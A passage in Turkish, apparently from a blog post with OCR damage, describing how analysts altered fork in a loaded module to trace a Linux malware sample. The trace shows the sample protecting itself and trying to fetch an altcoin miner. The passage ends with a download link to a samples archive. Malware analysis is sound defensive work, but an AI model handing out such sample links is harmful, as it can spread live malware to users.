iletisimin aksiyor olmasi program iglevini yerine getirememesine yol aciyordu. Burada olan sey forkun
icinde ki forklarin takibi sirasinda parentlerin iletisiminin aksiyor olmasiydi. bizim istedigimiz ise program
calissin ve bizde neyi calistirdigini asama asama ve herhangi bir aksama olmadan gostersin bu yiizden
forkun yapisini tekrar degistirmemiz gerekti.
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PR_SET_NAME sadece bir yerde kullaniliyordu yani ilk forkun hemen dncesinde dolayisiyla bu
yaptigimiz seyi sadece ilk fork igin gegerli kilarsak devaminda program normal akisina devam edebilcekti
ve bizde izlemeyi basarmis olacaktik, gercekten bdylemi olackti? Bunu anlamak i¢in denemekten baska
¢cagremiz yoktu..

return

“fork” fonksiyonunu resimdeki gibi degistirdik burda yapmak istedigimiz sey statik bir degisken
olusturup forkun ilk calismasinda 0 la dénmesini saglayip bundan sonra her ¢agrildiginda bu degiskeni
kontrol degiskeni olarak kullanip gercek forka atlamasini saglamak. Modull derleyip yikliyoruz ve sonug
olarak programi basindan sonuna kadar izlemeyi basariyoruz:

llerleyen kisimlarda sched_yield ler dikkatimizi gcekiyor CPUyu sémurmek icin kullanilan multi thread
programlama fonksiyonu ¢iktiy1 analiz ettigimizde énce kendisini korudugunu daha sonra Altcoin miner
indirmeye calistigini bunu basaramayinca gosterilen ip blocklarina sirekli bir istekte bulundugunu
gOsteriyor.

Samples Download : http://blog.balicbilisim.com/samples.rar
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